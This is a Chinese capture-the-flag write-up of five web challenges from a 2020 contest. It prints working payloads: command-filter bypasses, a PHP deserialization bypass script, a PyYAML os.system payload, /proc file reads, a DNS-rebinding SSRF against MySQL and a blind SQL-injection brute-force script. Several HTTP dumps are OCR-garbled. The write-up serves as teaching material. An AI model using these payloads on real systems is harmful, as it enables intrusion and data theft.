# JDBCTF 2020河南省赛

这个比赛是朋友发给自己的质量还是可以的。感谢朋友分享的题目

by Firebasky

### web1

考察命令执行 shell命令操作符

最开始的想法是通过命令分隔符进行命令执行,但是 \$ | %0a;都进行了过滤然后测试了好久好久都没有结果,就让我师傅(yu22x师傅)一起看。最后也是师傅做出来的。羽师傅tql

#### 不过这个题确实不错!

## 知识点

首先我们不一定必须要使用命令分隔符。我们下面进行实验

先建立一个1.txt里面内容是 hello

```
root@kali:~/test# ls echo 1 ls: 无法访问'echo': 没有那个文件或目录 ls: 无法访问'1': 没有那个文件或目录 root@kali:~/test#
```

根据提示我们可以知道,而这也是正常的。那我们在试一试在Is命令后面加上操作数。

可以看到成功展示出了文件名字。

而我们查看Is命令的帮助文档

```
root@kali:~/test# ls —help
用法:ls[选项]...[文件]...
List information about the FILEs (the current directory by default).
Sort entries alphabetically if none of -cftuvSUX nor —sort is specified.
```

```
1 用法: ls [选项]... [文件]...
```

### 使用我们大概知道了为什么可以执行成功

在最开始的ls echo 1,会把echo和1当成文件名,但是并没有这样的文件名。使用我们加参数进行加强说明。只要不让shell命令产生歧义。就可以执行

## 解题

但是题目过滤了1s就不能进行查看文件名,那我们可以使用dir也是查看文件名的命令

一样的我们还是看看dir命令的帮助文档

```
1 root@kali:~/test# dir --help
2 用法: dir [选项]... [文件]...
```

### 和 1s 用法一样,所以我们就可以利用dir进行查看文件名

```
1 cmd=dir%09.%09
2 #.表示当前目录
```

```
POST / HTTP/1.1
Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0)
                                                                  highlight_file(__FILE_
                                                                  $filter = '/#|`| |
Gecko/20100101 Firefox/84.0
                                                                  [\x0a] | ls|rm|sleep|sh|bash|grep|nc|ping|cu
text/html, application/xhtml+xml, application/xml; q=0.9, image/webp, *
                                                                  (\|\)|\[|\]|\{|\}|\>|\<|\?|\'|"|\*|;|\|&|
/*:q=0.8
                                                                  $cmd = $_POST['cmd'];
Accept-Language
zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
                                                                  if(!preg_match($filter, $cmd)){
                                                                       system($cmd."echo 'hi~'");
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
                                                                  }else{
Content-Length: 14
                                                                       die("???");
Origin: |
?> .: F14g_1s_h4rehaha.php index.php
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
cmd=dir%09.%09
```

### 成功查看到文件名。接下来就是读文件

### 读文件的命令

1 base64 grep uniq rev cat tac more less head tail nl tailf sort od cut awk strings sed等等

### 但是题目过滤了好多

```
1 剩下的#所以我们使用这些
2 base64 cut awk sed
```

在本地测试,可以看到都不能读出数据

```
root@kali:~/test# base64 1.txt echo 1
base64: 额外的操作数 "1.txt"
请尝试执行 "base64 --help" 来获取更多信息。
root@kali:~/test# awk 1.txt echo 1
awk: 致命错误:无法以读模式打开文件"echo"(没有那个文件或目录)
root@kali:~/test# sed 1.txt echo 1
sed: -e 表达式 #1, 字符 2:未知的命令: "。"
root@kali:~/test# cut 1.txt echo 1
cut: 您必须指定一组字节、字符或域的列表
请尝试执行 "cut --help" 来获取更多信息。
root@kali:~/test#
```

而cat命令可以执行?

```
root@kali:~/test# cat 1.txt echo 1
hello
cat: echo: 没有那个文件或目录
cat: 1: 没有那个文件或目录
```

### 分析错误信息大概原因就是参数的问题造成了解析歧义

通过查看帮助文档测试了下面命令可以使用

### cut命令

```
1 cut命令
2
3 root@kali:~/test# cut --help
4 | 用法: cut [选项]... [文件]...
5
  Print selected parts of lines from each FILE to standard output.
6 如果没有指定文件,或者文件为"-",则从标准输入读取。
7
  必选参数对长短选项同时适用。
8
    -b, --bytes=列表
                           只选中指定的这些字节
9
   -c, --characters=列表
                          只选中指定的这些字符
    -d, --delimiter=分界符
10
                          使用指定分界符代替制表符作为区域分界
11
    -f, --fields=列表
                           只选中指定的这些域;并打印所有不包含分界符的
12
```

成功!

1 exp: cmd=cut%09-f%091%09F14g\_1s\_h4rehaha.php%09

#### 接下来测试其他命令

### awk命令

#### 在本地测试这些选择都可以。

```
1 awk -b 1 1.txt echo 1
2 awk -c 1 1.txt echo 1
3 awk -d 1 1.txt echo 1
```

#### 但是题目环境没有awk命令

## sed命令

### 这个命令是羽师傅想的!

```
1 sed --help
2 在加上百度发现查看文件内容可以加上任意参数只要在参数后面加p
```

```
1 sed p 1.txt echo 1 读文件
2 sed -u 1p 1.txt echo 1 (读的是第一排的数据)
3 sed -u 2p 1.txt echo 1 (读的是第二排的数据)
```

```
oot@kali:~/test# cut 1p 1.txt echo 1
cut:您必须指定一组字节、字符或域的列表
请尝试执行 "cut --help" 来获取更多信息。
  t@kali:~/test# sed p 1.txt echo 1
hello
hello
sed:无法读取 echo:没有那个文件或目录
sed:无法读取 1:没有那个文件或目录
root@kali:~/test# sed -u 1p 1.txt echo 1
hello
hello
sed:无法读取 echo:没有那个文件或目录sed:无法读取 1:没有那个文件或目录
root@kali:~/test# sed -u 2p 1.txt echo 1
hello
sed: 无 法 读 取 echo: 没 有 那 个 文 件 或 目 录
sed: 无法读取 1: 没有那个文件或目录
root@kali:~/test#
```

### 成功也读到数据

```
Date: Sun, 20 Dec 2020 06:18:09 GMT
Server: Apache/2.4.25 (Debian)
POST __HTTP/1.1
Host.
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0)
                                                                                                                                                                                                                              X-Powered-By: PHP/5.6.40
Gecko/20100101 Firefox/84.0
                                                                                                                                                                                                                              Vary: Accept-Encoding
                                                                                                                                                                                                                              Connection: close
Accept
 text/html, application/xhtml+xml, application/xml; q=0.9, image/webp, *
                                                                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                              Content-Length: 1626
 /*:q=0.8
 Accept-Language
                                                                                                                                                                                                                              <code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br />highlight_file<//>/>
\verb|zh-CN|, \verb|zh|; \verb|q=0.8|, \verb|zh-TW|; \verb|q=0.7|, \verb|zh-HK|; \verb|q=0.5|, en-US|; \verb|q=0.3|, en|; \verb|q=0.2|
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                             \span style= color: #0000BB \&It; pnp\sor /\night_rile\;
#007700"\(\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt{span}\sqrt
Content-Length: 38
Origin: htt
Connection: close
                                                                                                                                                                                                                            Referer: ht
Upgrade-Insecure-Kequests: 1
DNT: 1
Sec-GPC: 1
cmd=sed%093g%09F14g 1s h4rehaha.php%09
                                                                                                                                                                                                                              #0000BB">$cmd</span><span style="color: #007700">)) {\br />&nb style="color: #0000BB">system</span><span style="color: #00770"
                                                                                                                                                                                                                              style="color: #007700">); \br />} \br />\/span>\span style="colo
                                                                                                                                                                                                                              </span>
                                                                                                                                                                                                                              $flag = 'flag{1f5bd65c-5d3f-4144-92c7-d322caa49369}';
```

## 总结

```
1 | system($cmd."echo 'hi~'");
```

像这样的命令执行可以直接加操作符进行绕过,只需要让命令的标识符唯一,也就是不产生歧义就OK。也不需要满足后面的命令(echo 'hi')是不是正确的

而我们经常见的是

```
1 | system("ping -c 1 ".$cmd);
```

## web2

5.6php的一些知识点

php代码使用<script>

序列化

```
<?php
 1
    error_reporting(0);
    function check_data($params){
        if(preg_match('/cmd|admin|jdb|{|}/', $params) || preg_match('/0:\d:/',
    $params)){
 5
            echo "bad hacker!";
 6
            return 0;
 7
        }
 8
        return 1;
 9
    }
10
    function check_cmd($params){
11
        if(preg_match('/;|\(|\)|\'|"|<\?|
12
    |\*|\$|script|language|php|include|require|:/', $params)){
            echo "bad hacker!";
13
14
            return 0;
15
        }
16
        return 1;
17
    }
18
   class welcome{
19
20
        public $cmd;
21
        private $admin;
22
        public function __construct(){
23
            $this->admin = 'guest';
24
        }
25
26
        public function backdoor(){
27
            eval($this->cmd);
28
        }
29
30
        public function __destruct(){
31
            if($this->admin === 'guest'){
                $this->cmd = 'echo "<hr>Welcome to JDBCTF 2020!";';
32
33
                $this->backdoor();
34
            }else if($this->admin === 'jdb' && check_cmd($_POST['cmd'])){
35
                $this->cmd = $_POST['cmd'];
                $this->backdoor();
36
37
            }else if($this->admin === 'info'){
38
                $this->cmd = 'phpinfo();';
39
                $this->backdoor();
40
            }
        }
41
42
43
   $w = new Welcome();
   if(!isset($_POST['data'])){
44
45
        highlight_file('source.txt');#通过这里展示源代码
```

#### 就是考察一个序列化的绕过

想吐槽一下绕过三,有点恐怖~。原理可能是老版PHP的问题。经过测试在php5.6版本可以执行

```
1
    #exp.php
 2
    <?php
 3
    Class Welcome{
 4
        public $cmd;
 5
        private $admin;
 6
        public function __construct(){
 7
            $this->admin = 'jdb';
8
        }
9
    }
10 | $w = new Welcome();
11 | $w = (serialize($w));
   $w = (str_replace('0:','0:+',$w));#绕过0:7
12
13
   $w = str_replace('{','(',$w);}
   $w = str_replace('}',')',$w);
14
15 | $w = str_replace('s', 'S', $w);
16 | $w = str_replace('d','\\64',$w);
   $w = str_replace('i','\\69',$w);
17
18 echo str_replace('%5C','\\',urlencode($w));
```

### 之后就是绕过命令执行

因为是php5.6,所以可以使用标签进行执行php代码

```
1 | %09绕过空格
2 | 大小写绕过关键词
3 | ?><scrIpt%09languaGe=pHp>echo`ls`</scrIpt>
```

```
HTTP/1.1 200 0K
Date: Sun, 20 Dec 2020 13:58:29 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Vary: Accept-Encoding
Content-Length: 77
Connection: close
Content-Type: text/html: charset=UIF-8

1 flag{3da4141d-d8a7-4ab7-9ec0-418b96fa2734}
<a href="https://doi.org/10.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/db.1008/d
```

## 总结

了解了PHP代码另一个写法,通过将一些代码写入txt文件,然后highlight\_file()一些需要的文件 又掌握了php5里面的一些姿势

### web3

### Python PyYAML反序列化漏洞实验和Payload构造

考察 python yaml反序列化漏洞

读pyc文件

### 这个题存在一个连接照片的地址

```
HTTP/1.0 200 OK
Content-Length: 215142
Content-Type: image/png
Last-Modified: Tue. 15 Dec 2020 08:15:54 GMT
Cache-Control: public, max-age=43200
Expires: Mon. 21 Dec 2020 04:13:54 GMT
ETag: 1608020154.0-215142-238512147*
Server: Werkzeug/1.0.1 Python/3.5.2
Date: Sun. 20 Dec 2020 16:13:54 GMT

JFIF H H C

% # , #&')*) -0-(0%()( C
```

### 可以造成任意文件读取

#### 然后就是尝试读源代码

1 /proc/self/environ #env环境变量 2 /proc/self/cwd #循环路径

```
GET /get_image?img=/proc/self/environ HTFP/1.1

Host: 59,110.167.125:25003

User-Agent: Mosilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101

Firefox/84.0

Accept. image/webp, */*
Accept. Language: sh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.2, en; q=0.2

Accept. Language: sh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2

Accept. Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2

Accept. Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2

Accept. Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2

Accept. Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2

Expires: Mon. 21 Dec 2020 13:38:00 GMT

Cache-Control: public, max-age=43200

Expires: Mon. 21 Dec 2020 13:38:00 GMT

Cache-Control: public, max-age=43200

Expires: Mon. 21 Dec 2020 13:38:00 GMT

Cache-Control: public, max-age=43200

Expires: Mon. 21 Dec 2020 13:38:00 GMT

Cache-Control: piblic, max-age=43200

Expires: Mon. 21 Dec 2020 13:38:00 GMT

Cache-Control: piblic, max-age=43200

Expires: Mon. 21 Dec 2020 13:38:00 GMT

Cache-Control: piblic, max-age=43200

Expires: Mon. 21 Dec 2020 13:38:00 GMT

Cache-Control: piblic, max-age=43200

Expires: Mon. 21 Dec 2020 13:38:00 GMT

Cache-Control: piblic, max-age=43200

Expires: Mon. 21 Dec 2020 13:38:00 GMT

Cache-Control: piblic, max-age=43200

Expires: Mon. 21 Dec 2020 13:38:00 GMT

Cache-Control: piblic, max-age=43200

Expires: Mon. 21 Dec 2020 13:38:00 GMT

Cache-Control: piblic, max-age=43200

Expires: Mon. 21 Dec 2020 13:38:00 GMT

Cache-Control: piblic, max-age=43200

Expires: Mon. 21 Dec 2020 13:38:00 GMT

Cache-Control: piblic, max-age=43200

Expires: Mon. 21 Dec 2020 13:38:00 GMT

Cache-Control: piblic, max-age=43200

Expires: Mon. 21 Dec 2020 13:38:00 GMT

Cache-Control: piblic, max-age=43200

Expires: Mon. 21 Dec 2020 13:38:00 GMT

Cache-Control: piblic, max-age=43200

Expires: Mon. 21 Dec 2020 13:38:00 GMT

Cache-Control: piblic, max-age=
```

确定是python3.5

```
GET /get_image?img=/proc/self/cwd/app.py HTTP/1.1

Host: 59.110.167.125:25003

User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64: rv:84.0) Gecko/20100101

Firefox/84.0

Accept: image/webp. */*

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://59.110.167.125:25003/

Cookie: PHPSESSID=194e0d03be85c65ce2608ec8f81a60f4

DNT: 1

Sec-GPC: 1

Cache-Control: max-age=0
```

所以我们尝试读 pyc 文件。python编译时会在本地产生中间代码,即pyc文件,这个文件一般存在同目录的 \_\_pycache\_\_ 目录下。然后pyc的命名规则为文件名 .cpython-35.pyc (因为python版本)

?img=/proc/self/cwd/\_\_pycache\_\_/app.cpython-35.pyc

我们通过浏览器去访问下载照片,修改后缀名通过 uncompyle6 进行将pyc的文件恢复成py文件

```
1 #需要安装uncompyle6的库
2 #pip install uncompyle6
3 PS C:\Users\dell\Desktop\pyc> uncompyle6 -o 1.py 1.pyc
4 1.pyc --
5 # Successfully decompiled file
```

```
1 # uncompyle6 version 3.7.4
   # Python bytecode 3.5 (3350)
 3 # Decompiled from: Python 3.7.4 (tags/v3.7.4:e09359112e, Jul 8 2019,
   19:29:22) [MSC v.1916 32 bit (Intel)]
   # Embedded file name: /var/www/html/app.py
   # Compiled at: 2020-12-15 16:15:54
 6
   # Size of source mod 2**32: 1681 bytes
 7
   from flask import redirect, Flask, render_template, request, abort
   from flask import url_for, send_from_directory, send_file, make_response,
8
   Response, jsonify
9
   import base64, json, yaml, os
10
   app = Flask(__name__)
11
12
   class Name:
13
       def __init__(self):
14
            pass
15
       @staticmethod
        def from_configuration(config):
16
            return Name(**yaml.load(config, Loader=yaml.Loader))
17
18
19
   def waf(name):
       if '...' in name:
20
```

```
21
            return -1
22
        else:
            if name[-2:] == 'py':
23
24
                return -2
25
            return 0
26
27
    @app.route('/', methods=['GET', 'POST'])
28
29
    def index():
30
        return render_template('index.html', out='Welcome to enter!',
    is_value=0)
31
32
    @app.route('/get_image')
33
34
    def get_image():
        filename = request.args.get('img')
35
36
        if waf(filename) == -1:
37
            return jsonify('directory traversal forbidden!')
        if waf(filename) == -2:
38
39
            return jsonify('reading forbidden!')
        imgPath = os.path.join('/var/www/html', 'static', filename)
40
41
        if not os.path.exists(imgPath):
42
            return jsonify('image does not exists')
43
        return send_file(imgPath, mimetype='image/png')
44
45
    @app.route('/set', methods=['GET', 'POST'])
46
    def set():
47
48
        if request.method == 'POST':
49
            if 'name' in request.form:
50
                name = request.form['name']
51
            if 'config' in request.form:
52
                result = Name.from_configuration(request.form['config'])
53
                #通过yam1反序列化进行利用
                return make_response(render_template('index.html',
    result=result), 200)
            return make_response(render_template('index.html', out='Welcome,' +
55
    name, is_value=1), 200)
56
        else:
57
            return make_response(render_template('setting.html'), 200)
```

```
1 #通过yaml payload进行利用
2 !!python/object/apply:os.system ["ls>/tmp/1.txt"]
```

```
POSI /set HITP/1.1
Host: 59.110.167.125:25003
User-Agent: Mosilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101
Firefox/84.0
Accept: image/webp.**
Accept-Language: sh-CN.sh:q=0.8, zh-TW:q=0.7, zh-HK;q=0.5, en-US:q=0.3, en;q=0.2
Accept-Encoding: gzzp. deflate
Connection: close
Referer: http://59.110.167.125:25003/
Cookie: PHPSESSID=194e0d03be85c65ce2608ec8f81a60f4
DNT: 1
Sec-GPC: Iuc. 15 Dec 2020 08:15:54 GMT
If-Mond-Match: "160800154.0-215142-2358512147"
Cache-Control: max-mage=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
name=1&config=!!pythom/object/apply:os.system ["ls>/tmp/1.txt"]
```

```
HITP/1.0 500 INTERNAL SERVER ERROR
Content-Type: text/html; charset=wtf-8
Content-Length: 290
Server: Werkseug/1.0.1 Python/3.5.2
Date: Sun, 20 Dec 2020 16:31:49 GMT

"DOCTYPE HIML PUBLIC "-/WSC//DID HIML 3.2 Final//EN">
<title>500 Internal Server Error</til>

(h) Internal Server Error
(h) The server encountered an internal error and was unable to complete your request. Bither the server is overloaded or there is an error in the application.
```

```
HTTP/1.0 200 OK
Content-Length: 44
GET //get_image?img=/tmp/1.txt HTTP/1.1
Host: 59.110.167.125:25003
                                                                                                                                                                       Content-Type: image/png
Last-Modified: Sum, 20 Dec 2020 16:31:49 GMT
Cache-Control: public, max-age-43200
Expires: Mon, 21 Dec 2020 04:31:59 GMT
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101
 Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8
Accept-Language: zh-CN, zh:q=0.8, zh-TW:q=0.7, zh-HK:q=0.5, en-US:q=0.3, en:q=0.2
Accept-Encoding: gzip. deflate
Commection: close
Cookie: PHPSESSID=194e0d03be85c65ce2608ec8f81a60f4
                                                                                                                                                                       ETag: "1608481909.887485-44-301138799
Server: Werkzeug/1.0.1 Python/3.5.2
Date: Sun, 20 Dec 2020 16:31:59 GMT
 Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
If-Modified-Since: Sun, 20 Dec 2020 02:34:17 GMT
If-None-Match: "1608431657.6431658-2305-2084638820"
                                                                                                                                                                       static
                                                                                                                                                                        templates
 Cache-Control: max-age=0
                                                                                                                                                                        wsgi.py
                                                                                                                                                                   HTTP/1.0 200 OK
Content-Length: 50
GBT /get_image?img=/tmp/1.txt HTTP/1.1
Host: 59.110.161.125:25003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101
Firefox/84.0
                                                                                                                                                                   Content-Type: image/png
Last-Modified: Sun. 20 Dec 2020 16:35:40 GMT
Cache-Control: public, max-age=43200
Expires: Mon. 21 Dec 2020 04:35:42 GMT
ETag: "1608482140.6499624-50-301138799"
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp,*/*;q=0.8
Accept-Language: zh-CN, zh;q=0.8, zh-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2
Accept-Encoding: gzip, deflate
                                                                                                                                                                   Server: Werkzeug/1.0.1 Python/3.5.2
Date: Sun, 20 Dec 2020 16:35:42 GMT
Connection: close
Cookie: PHPSESSID=194e0d03be85c65ce2608ec8f81a60f4
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
                                                                                                                                                                             1 flag{2b0578d6-0166-470d-83ac-ac7a9aa32bac}
If-Modified-Since: Sun, 20 Dec 2020 02:34:17 GMT
If-None-Match: "1608431657.6431658-2305-2084638820"
Cache-Control: max-age=0
```

## 总结

学习了yaml反序列化漏洞,和py文件在生成的过程中会产生pyc文件并且可以恢复。

python编译时会在本地产生中间代码,即pyc文件,这个文件一般存在同目录的\_\_pycache\_\_目录下。然后pyc的命名规则为文件名.cpython-35.pyc(因为python版本)

### web4

ssrf通过DNS-rebinding绕过 攻击mysql。扫描目录

DNS-rebinding SSRF 试了试发现只有用 www.gtfly.top 为域名时才会发请求 根据DNS-rebinding的思想 我们只需让一个域名解析成两个IP就行 这两个IP分别是域名的ip另一个是 127.0.0.1

```
1 | 62.234.60.226
2 | 127.0.0.1
```

我们通过 ceye 进行添加测试,在最开始的时候扫描了存在一个 database.php 页面。并且是没有密码的,使用毫无疑问**是通过ssrf攻击mysql** 

注:在使用ceye进行测试的时候在页面前加r.

eg: http://r.your-ceye-domain/database.php

之后通过 gopherus攻击自动生成payload 。这样需要注意的是,路径是在log目录下有写入权限



将payload前面的地址换成我们使用ceye生成的域名

通过bp一直发,最后访问存在成功getshell

获得flag

## 总结

学习了ssrf DNS-rebinding 配合攻击mysql和在没有思路的时候扫描目录

## web5

sql注入 绕过

id存在注入点

fuzz了一下, or 过滤不能直接用 Performance\_Schema 和 information\_schema

```
1
   import requests
 2
   def my_hex(s):#16进制
 3
        s_hex=''
 4
       for i in range(len(s)):
 5
            s_{hex}=s_{hex}+hex(ord(s[i]))[2:]
 6
        return s_hex
 7
   burp0_url = "http://59.110.167.125:25005/login.php"
   burp0_data = {"username": "admin", "password": "admin", "id": "
    (left(database(),1)in(0x70))"}
    s='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-+$~`^#.@_,
    {}()'
   flag=''
10
11
12 | for i in range(1,1000):
13
        f=flag
14
        for j in s:
            # burp0_data = {"username": "admin", "password": "admin", "id": "
15
    (left(version(),{})in('{}'))".format(str(i),flag+j)}
            # burpO_data = {"username": "admin", "password": "admin", "id": "
16
    (left((select(group_concat(database_name))from(mysql.innodb_index_stats)),
    {})in('{}'))".format(str(i),flag+j)}
17
            burp0_data = {"username": "admin", "password": "admin", "id": "
    (hex(left((select*from(flagishere.flag)),
    {}))in('{}'))".format(str(i),my_hex(flag+j))}
18
19
            r = requests.post(burp0_url, data=burp0_data)
20
            print(i,j)
            if 'username or password error!' in r.text:
21
22
                flag+=j
23
                print(flag)
24
                break
25
        if flag==f:
            break
26
27 print(flag)
28 | # ctf
29 # ctf,flagishere
30 | # admin,flag,gtid_slave_pos
```

## 总结

学习了mysql.innodb\_index\_stats可以当系统表

参考:

https://mp.weixin.qq.com/s/XCtJQfx0av\_J5RkgkDQimQ